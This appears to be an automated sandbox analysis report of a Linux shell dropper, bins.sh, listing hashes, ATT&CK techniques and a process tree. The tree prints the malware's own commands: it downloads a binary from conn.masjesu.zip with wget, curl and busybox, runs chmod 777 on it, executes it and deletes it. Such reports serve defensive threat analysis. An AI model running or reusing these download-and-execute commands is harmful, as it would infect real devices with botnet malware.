6703a1af12e4dd2ca7b26491a6d717cb89e0503b073c06a2dfef3878b0f240ef

Analysis

max time kernel
138s
max time network
150s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
30-11-2024 21:05

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General

Target

bins.sh
Size

10KB
MD5

41a9cfa8d65fc7f447a86c05006a99d1
SHA1

d877ea8a4eb062ba3db1aedc1294037d07a52db5
SHA256

6703a1af12e4dd2ca7b26491a6d717cb89e0503b073c06a2dfef3878b0f240ef
SHA512

5fdb1bd620036e5ea47fb7916829b2ff65d36a57b98e49c2975f87f4ae8dab7b571e2fa34591726e3417168ba61d0b9fbc998fbf466bd9f230df83e4810d497c
SSDEEP

96:Yj/TLue1Ln7ELZxBsysKsWVxELWGT0ncr2mgEattd40qU8AYRNRNR4J1gSqu7v7/:YdEC7jWVxENqTPCZRt7jWVx1TPCZRM

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
816	chmod

Executes dropped EXE 1 IoCs

Processes:

b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH

ioc	pid	Process
/tmp/b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH	817	b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curl

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

curlbusyboxwgetwget

pid	Process
813	curl
815	busybox
820	wget
714	wget

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurl

description	ioc	Process
File opened for modification	/tmp/b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH	busybox
File opened for modification	/tmp/b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH	wget
File opened for modification	/tmp/b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:706
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:712
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:714
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:815
- /bin/chmod
  chmod 777 b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH
  ./b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH
  2⤵
  - Executes dropped EXE
  PID:817
- /bin/rm
  rm b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH
  2⤵
  PID:819
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xfIl91UN08IvdiLiunqLKbjNfSLKPgUg9m
  2⤵
  - System Network Configuration Discovery
  PID:820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

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